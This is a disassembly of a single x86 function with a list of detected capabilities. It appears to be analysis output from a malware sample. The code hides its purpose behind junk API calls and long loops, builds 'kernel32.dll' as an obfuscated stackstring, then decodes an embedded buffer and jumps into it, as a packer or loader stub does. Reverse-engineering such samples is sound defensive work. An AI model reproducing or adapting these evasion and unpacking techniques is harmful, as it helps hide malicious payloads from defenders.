Function at 0x42ffa8
Capabilities:
Contain obfuscated stackstrings
Delete directory
Get disk size
Get file attributes
Identify system language via api
Query environment variable
Read .ini file
Resolve function by parsing pe exports
Set console window title
Set file attributes

Disassembly:
mov eax, 0x16dc
call fcn.00430e70
push esi
push edi
mov eax, 0xb2d3b
add dword [0x90fac4], eax
xor esi, esi
cmp dword [0x90fac4], 0x16
jne 0x430094
push 0x30
lea eax, [esp + 0x2b8]
push esi
push eax
mov dword [esp + 0x2bc], esi
call fcn.00431190
add esp, 0xc
push esi
lea eax, [esp + 0x2b4]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_SetDefaultCommConfigW]
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
push esi
lea eax, [esp + 0x2e8]
push eax
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasExesA]
lea eax, [esp + 0xc]
push eax
lea eax, [esp + 0x1c]
push eax
lea eax, [esp + 0x1c]
push eax
lea eax, [esp + 0x1c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceA]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetConsoleMode]
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceExW]
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetFileTime]
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
push 0x4012e8
push esi
push 0x40127c
push 0x401338
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntW]
push esi
push esi
call fcn.004310db
push 0x929
push 0xea
call fcn.0043109b
push 0x4012e4
push 0x401378
push esi
call fcn.00431054
add esp, 0x1c
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_SetLastError]
xor edi, edi
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push esi
call ebp
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasW]
cmp edi, 0x3d3e4ea
jge 0x430ba4
mov dword [esp + 0x178], 0x12855d0b
mov dword [esp + 0xa0], 0x6814aec0
mov dword [esp + 0x16c], 0x476719c3
mov dword [esp + 0x118], 0x7a7fc410
mov dword [esp + 0x1b0], 0x538662b9
mov dword [esp + 0x8c], 0x39344a37
mov dword [esp + 0xf4], 0x72f08d78
mov dword [esp + 0x264], 0x69de7de3
mov dword [esp + 0xec], 0x7821961c
mov dword [esp + 0x1c4], 0x7ebe7630
mov dword [esp + 0x84], 0x4e18ac3a
mov dword [esp + 0x25c], 0x747492a5
mov dword [esp + 0x70], 0x3222f86a
mov dword [esp + 0x98], 0x781d02e3
mov dword [esp + 0x198], 0x5d54e944
mov dword [esp + 0x208], 0x11199240
mov dword [esp + 0x254], 0x41b48dc9
mov dword [esp + 0x1bc], 0x250da058
mov dword [esp + 0x164], 0x5129fa06
mov dword [esp + 0x258], 0xc5f0bfa
mov dword [esp + 0x14], 0x4e54b336
mov dword [esp + 0x1b4], 0x56cbbaf6
mov dword [esp + 0x7c], 0x3359775e
mov dword [esp + 0xc0], 0x6679de6e
mov dword [esp + 0x2a4], 0xbe51c8d
mov dword [esp + 0x48], 0x6507d748
mov dword [esp + 0x2b0], 0x48b4f840
mov dword [esp + 0x24c], 0x143c4b25
mov dword [esp + 0x3c], 0x42cbb4ea
mov dword [esp + 0x1ac], 0xf00eb1e
mov dword [esp + 0x148], 0x5e99851c
mov dword [esp + 0x20], 0x6581e1d5
mov dword [esp + 0xe4], 0x58cb6b33
mov dword [esp + 0x15c], 0x38c0dddf
mov dword [esp + 0xf0], 0x4f2ff1ca
mov dword [esp + 0x40], 0x56988e0e
mov dword [esp + 0x238], 0x30ce63d1
mov dword [esp + 0x154], 0x1c032e2a
mov dword [esp + 0x244], 0x4b2d4c0c
mov dword [esp + 0x23c], 0x3d342736
mov dword [esp + 0x1d8], 0x799aef99
mov dword [esp + 0x2b4], 0x3ca7c42d
mov dword [esp + 0x14c], 0x75bec4b6
mov dword [esp + 0x234], 0x1aa2a2e4
mov dword [esp + 0x90], 0x2e24c6d8
mov dword [esp + 0x1c], 0x3be55217
mov dword [esp + 0x22c], 0x7cb466c5
mov dword [esp + 0x144], 0x380e3385
mov dword [esp + 0x224], 0x7fb0041b
mov dword [esp + 0x110], 0x1929e267
mov dword [esp + 0x1a8], 0x25fea17b
mov dword [esp + 0x34], 0x317b65b2
mov dword [esp + 0x1c0], 0x75efa0c0
mov dword [esp + 0x68], 0x1c87bd05
mov dword [esp + 0xe8], 0x5c2435fa
mov dword [esp + 0x21c], 0x1dd9b68
mov dword [esp + 0x88], 0xe6e029
mov dword [esp + 0x140], 0x1e587eb5
mov dword [esp + 0x214], 0x702d7429
mov dword [esp + 0x180], 0x371d1760
mov dword [esp + 0x18], 0x17c1c2bb
mov dword [esp + 0x288], 0x4c685019
mov dword [esp + 0xbc], 0x6075600f
mov dword [esp + 0xb8], 0x303233f6
mov dword [esp + 0x13c], 0x395fee58
mov dword [esp + 0xb4], 0x30e38a63
mov dword [esp + 0xe0], 0x291b458b
mov dword [esp + 0x200], 0x3a23551f
mov dword [esp + 0x2a0], 0x33dbdb46
mov dword [esp + 0x74], 0x53419e35
mov dword [esp + 0x1e8], 0x253d4522
mov dword [esp + 0x284], 0x7c9f2e2
mov dword [esp + 0x6c], 0x5088d7af
mov dword [esp + 0xdc], 0x7c8782c0
mov dword [esp + 0x134], 0x7fd1cd2c
mov dword [esp + 0x138], 0x514dd568
mov dword [esp + 0x12c], 0x20dae1dc
mov dword [esp + 0x260], 0x33abbe1c
mov dword [esp + 0x2c], 0x1abf6451
mov dword [esp + 0x28], 0x18e218ea
mov dword [esp + 0x130], 0x12f80e77
mov dword [esp + 0x29c], 0x2cb4d5f2
mov dword [esp + 0x1a4], 0x7421c5cc
mov dword [esp + 0x124], 0x16474edf
mov dword [esp + 0x80], 0x7da26dc5
mov dword [esp + 0x270], 0x7953ba6d
mov dword [esp + 0x19c], 0x5fd07e6e
mov dword [esp + 0x170], 0x55248778
mov dword [esp + 0x24], 0x714b0963
mov dword [esp + 0x38], 0x3be75236
mov dword [esp + 0x108], 0x7a0f6cb
mov dword [esp + 0x1d0], 0x363467fd
mov dword [esp + 0x278], 0x12269ddb
mov dword [esp + 0x27c], 0xe1fb3ce
mov dword [esp + 0x20c], 0x46111517
mov dword [esp + 0x1f8], 0x31ffc5a3
mov dword [esp + 0x1a0], 0x7fe21e60
mov dword [esp + 0x294], 0xf4a31c2
mov dword [esp + 0x60], 0x38dd05c5
mov dword [esp + 0x168], 0x1e13fb79
mov dword [esp + 0xd4], 0x749032a7
mov dword [esp + 0xac], 0x2f12dd8b
mov dword [esp + 0x204], 0x69b53a4f
mov dword [esp + 0x11c], 0x21c5b0f
mov dword [esp + 0x1fc], 0x2d1263d
mov dword [esp + 0x298], 0x55c4b4aa
mov dword [esp + 0x2a8], 0x436bef68
mov dword [esp + 0x220], 0x33ec19bd
mov dword [esp + 0x78], 0x162fda24
mov dword [esp + 0xd8], 0x1de58f48
mov dword [esp + 0x190], 0x25f5680e
mov dword [esp + 0x240], 0x292d14b4
mov dword [esp + 0xa4], 0x75c62b1d
mov dword [esp + 0x194], 0x1a454ce2
mov dword [esp + 0x100], 0x38d36867
mov dword [esp + 0x160], 0x6322c8ab
mov dword [esp + 0x28c], 0x1edb4042
mov dword [esp + 0x1e0], 0x130bcea1
mov dword [esp + 0x274], 0x56bab429
mov dword [esp + 0xcc], 0x6b2453f1
mov dword [esp + 0x64], 0xfd52986
mov dword [esp + 0x9c], 0x105dbde1
mov dword [esp + 0x58], 0x2ec898df
mov dword [esp + 0xb0], 0x218e37c0
mov dword [esp + 0x128], 0x36127a8b
mov dword [esp + 0x218], 0x41283389
mov dword [esp + 0x30], 0x72e0bee0
mov dword [esp + 0x5c], 0x21df77a
mov dword [esp + 0x18c], 0x68b06552
mov dword [esp + 0x228], 0x4914275c
mov dword [esp + 0x210], 0x784d86c8
mov dword [esp + 0x158], 0x7be96a99
mov dword [esp + 0x50], 0x2dd6e546
mov dword [esp + 0x184], 0x4125fed
mov dword [esp + 0x17c], 0x2f24d07c
mov dword [esp + 0x54], 0x38f338de
mov dword [esp + 0x4c], 0x5ac4faa7
mov dword [esp + 0x44], 0x1f72acb3
mov dword [esp + 0x248], 0x346191ae
mov dword [esp + 0x290], 0x761a9b73
mov dword [esp + 0x1f4], 0x216ae0e1
mov dword [esp + 0x114], 0x5dfbb909
mov dword [esp + 0xd0], 0x37f0b73a
mov dword [esp + 0xf8], 0x44f603a6
mov dword [esp + 0x268], 0x2f2ebc17
mov dword [esp + 0x174], 0xe378e4c
mov dword [esp + 0x10c], 0x3ed77447
mov dword [esp + 0x230], 0x225beb4d
mov dword [esp + 0x1ec], 0x3167bbc7
mov dword [esp + 0x10], 0x39dde796
mov dword [esp + 0x250], 0x5e8b6ff8
mov dword [esp + 0x1b8], 0x25c4bdc0
mov dword [esp + 0xa8], 0x5f52903d
mov dword [esp + 0x1e4], 0x3f1c0518
mov dword [esp + 0x280], 0x52775746
mov dword [esp + 0x1c8], 0x7cb35461
mov dword [esp + 0x120], 0x1f9da286
mov dword [esp + 0x188], 0x27881b8d
mov dword [esp + 0xc8], 0x6316ba24
mov dword [esp + 0x104], 0x62cc04cc
mov dword [esp + 0x1f0], 0x77bc1d83
mov dword [esp + 0xc4], 0x5dd42587
mov dword [esp + 0xfc], 0x221ae524
mov dword [esp + 0x1dc], 0x68254796
mov dword [esp + 0x26c], 0x7e8cf6e7
mov dword [esp + 0x94], 0x1253eae1
mov dword [esp + 0x1d4], 0x517c8bb7
mov dword [esp + 0x150], 0xc3244fd
mov dword [esp + 0x1cc], 0x50e191b4
mov dword [esp + 0x2ac], 0x6c296eb0
add dword [esp + 0x178], 0x38b8078c
add dword [esp + 0x178], 0x3f6a4a0d
sub dword [esp + 0x178], 0xb320a71
sub dword [esp + 0x178], 0x1ea074ba
mov eax, 0x7ee4cf81
mul dword [esp + 0x178]
mov eax, dword [esp + 0x178]
mov eax, 0x39bf6d
mul dword [esp + 0x178]
mov eax, dword [esp + 0x178]
add dword [esp + 0x118], 0x56d834b0
add dword [esp + 0x178], 0x61eee55d
mov eax, 0x3b94a65a
mul dword [esp + 0x1b0]
mov eax, dword [esp + 0x1b0]
mov eax, 0x14e1722b
mul dword [esp + 0x16c]
mov eax, dword [esp + 0x16c]
add dword [esp + 0xa0], 0x45433714
sub dword [esp + 0x178], 0x590393c2
add dword [esp + 0x8c], 0x76402f8f
sub dword [esp + 0x178], 0x8a3eec4
mov eax, 0x50dce137
mul dword [esp + 0xa0]
mov eax, dword [esp + 0xa0]
add dword [esp + 0x16c], 0xa7a6567
add dword [esp + 0xf4], 0x334c75cb
mov eax, 0x6c95495d
mul dword [esp + 0x178]
mov eax, dword [esp + 0x178]
mov eax, 0x337de4b7
mul dword [esp + 0x1b0]
mov eax, dword [esp + 0x1b0]
mov eax, 0x85c407c
mul dword [esp + 0xf4]
mov eax, dword [esp + 0xf4]
mov eax, 0x4c5b48b7
mul dword [esp + 0x178]
mov eax, dword [esp + 0x178]
mov eax, 0x28d49418
mul dword [esp + 0x16c]
mov eax, dword [esp + 0x16c]
mov eax, 0x624e32ad
mul dword [esp + 0x264]
mov eax, dword [esp + 0x264]
add dword [esp + 0x8c], 0x309e74e2
sub dword [esp + 0x264], 0x27d31f72
mov eax, 0x461bd5a6
mul dword [esp + 0x118]
mov eax, dword [esp + 0x118]
mov eax, 0x3d059cc2
mul dword [esp + 0xa0]
mov eax, dword [esp + 0xa0]
mov eax, 0x4a4117f7
mul dword [esp + 0x16c]
mov eax, dword [esp + 0x16c]
sub dword [esp + 0x264], 0x10da269b
sub dword [esp + 0xec], 0x432b080c
sub dword [esp + 0x1c4], 0x5a2166f1
add dword [esp + 0x70], 0x6c1a4f81
add dword [esp + 0x118], 0x2c3fcfc0
sub dword [esp + 0x264], 0xde685e2
mov eax, 0x5a2bc348
mul dword [esp + 0x84]
mov eax, dword [esp + 0x84]
mov eax, 0x56531e52
mul dword [esp + 0x16c]
mov eax, dword [esp + 0x16c]
add dword [esp + 0x118], 0x4bb9e8e3
add dword [esp + 0x16c], 0x3a12d03f
mov eax, 0x50c4dbfb
mul dword [esp + 0x8c]
mov eax, dword [esp + 0x8c]
sub dword [esp + 0x16c], 0xfb4751e
add dword [esp + 0x16c], 0x40d9aac0
sub dword [esp + 0xa0], 0x1233f8dd
add dword [esp + 0x70], 0x23134199
add dword [esp + 0x1b0], 0x61b6300b
sub dword [esp + 0x84], 0x1b62a1e2
add dword [esp + 0x98], 0x607bccf8
mov eax, 0x3b333d7b
mul dword [esp + 0x8c]
mov eax, dword [esp + 0x8c]
add dword [esp + 0x98], 0x1554192e
add dword [esp + 0x70], 0x655d4cc
sub dword [esp + 0x84], 0x540787c0
sub dword [esp + 0x98], 0x334a32d1
mov eax, 0x27300b1d
mul dword [esp + 0x1bc]
mov eax, dword [esp + 0x1bc]
add dword [esp + 0x1bc], 0x7beb7a2a
add dword [esp + 0x198], 0x681d9735
mov eax, 0x36e5f498
mul dword [esp + 0xec]
mov eax, dword [esp + 0xec]
mov eax, 0x32fcfacd
mul dword [esp + 0xa0]
mov eax, dword [esp + 0xa0]
mov eax, 0xb951c30
mul dword [esp + 0x16c]
mov eax, dword [esp + 0x16c]
add dword [esp + 0x24c], 0x2ec09221
add dword [esp + 0x1b4], 0x509c633d
mov eax, 0x4aea3d1c
mul dword [esp + 0x254]
mov eax, dword [esp + 0x254]
sub dword [esp + 0x1b4], 0x3205606a
mov eax, 0xfc2ba5d
mul dword [esp + 0x164]
mov eax, dword [esp + 0x164]
mov eax, 0x4ee14419
mul dword [esp + 0x208]
mov eax, dword [esp + 0x208]
mov eax, 0xefe5bb5
mul dword [esp + 0x208]
mov eax, dword [esp + 0x208]
add dword [esp + 0x1bc], 0x85b867
sub dword [esp + 0x258], 0x7e1ee29d
sub dword [esp + 0x8c], 0x46904af5
mov eax, 0x5e395da0
mul dword [esp + 0xe4]
mov eax, dword [esp + 0xe4]
sub dword [esp + 0x198], 0x5197a1f7
mov eax, 0x4c42faaa
mul dword [esp + 0x98]
mov eax, dword [esp + 0x98]
mov eax, 0x576169bf
mul dword [esp + 0x98]
call ebx
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLangID]
call dword [sym.imp.KERNEL32.dll_GetSystemDefaultLangID]
cmp edi, 0xe7b493
jg 0x430bc5
inc edi
cmp edi, 0x5aec3fce
jl 0x4300a4
push 0x65
pop eax
push 0x32
mov word [0x907522], ax
pop eax
push 0x33
mov word [0x90752e], ax
pop eax
push 0x65
mov word [0x90752c], ax
pop eax
push 0x64
mov word [0x907528], ax
pop eax
push 0x6e
mov word [0x907532], ax
pop eax
push 0x6c
mov word [0x907526], ax
pop eax
push 0x6b
mov word [0x907536], ax
xor eax, eax
mov word [0x907538], ax
pop eax
push 0x72
mov word [0x907520], ax
pop eax
push 0x6c
mov word [0x907524], ax
pop eax
push 0x2e
mov word [0x90752a], ax
mov word [0x907534], ax
pop eax
push dword [0x90fac4]
mov word [0x907530], ax
push esi
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov dword [0x904024], eax
call fcn.0042ff2e
mov eax, dword [0x446794]
xor edi, edi
mov dword [0x90fac8], eax
cmp dword [0x90fac4], esi
jbe 0x430cbf
mov eax, dword [0x90fac8]
mov al, byte [edi + eax + 0xb2d3b]
mov ecx, dword [0x904024]
mov byte [edi + ecx], al
cmp dword [0x90fac4], 0x44
jne 0x430cb6
push esi
lea eax, [esp + 0x2f0]
push eax
push 0x401380
call dword [sym.imp.KERNEL32.dll_GetLongPathNameA]
lea eax, [esp + 0x14]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetBinaryTypeA]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetProcessWorkingSetSize]
call ebx
push 0x401398
push esi
call dword [sym.imp.KERNEL32.dll_CreateJobObjectW]
inc edi
cmp edi, dword [0x90fac4]
jb 0x430c61
xor edi, edi
mov eax, dword [0x90fac4]
add eax, edi
cmp eax, 0x5e
jne 0x430d52
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_ReplaceFileA]
push esi
call dword [sym.imp.KERNEL32.dll_SetConsoleTitleW]
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
push esi
lea eax, [esp + 0x6f0]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetAtomNameW]
push esi
lea eax, [esp + 0xef0]
push eax
push esi
push 0x4013d0
push esi
push esi
call dword [sym.imp.KERNEL32.dll_LCMapStringW]
push esi
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesLengthA]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_OpenJobObjectA]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetCommTimeouts]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CommConfigDialogW]
lea eax, [esp + 0x14]
push eax
push esi
lea eax, [esp + 0x2f4]
push eax
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetCalendarInfoA]
inc edi
cmp edi, 0x40c893
jl 0x430cc1
mov edx, dword [0x90fac4]
mov ecx, dword [0x904024]
push str._t_
call fcn.0042fe83
xor edi, edi
push esi
call ebp
cmp edi, 0x770e
jne 0x430d98
mov dword [esp + 0x10], esi
add dword [esp + 0x10], 0
mov eax, dword [esp + 0x10]
add dword [0x904024], eax
inc edi
cmp edi, 0x286b97d
jl 0x430d77
push 0x7b
pop edi
pop ebp
pop ebx
cmp dword [0x90fac4], 0xd
jne 0x430dcc
push esi
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
push esi
push esi
push 0x4013ec
push esi
call dword [sym.imp.KERNEL32.dll_EnumResourceNamesW]
cmp dword [0x90fac4], 0xf
jne 0x430ddb
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLangID]
dec edi
jne 0x430da6
mov eax, dword [0x904024]
pop edi
mov dword [0x907514], eax
pop esi
add esp, 0x16dc
jmp eax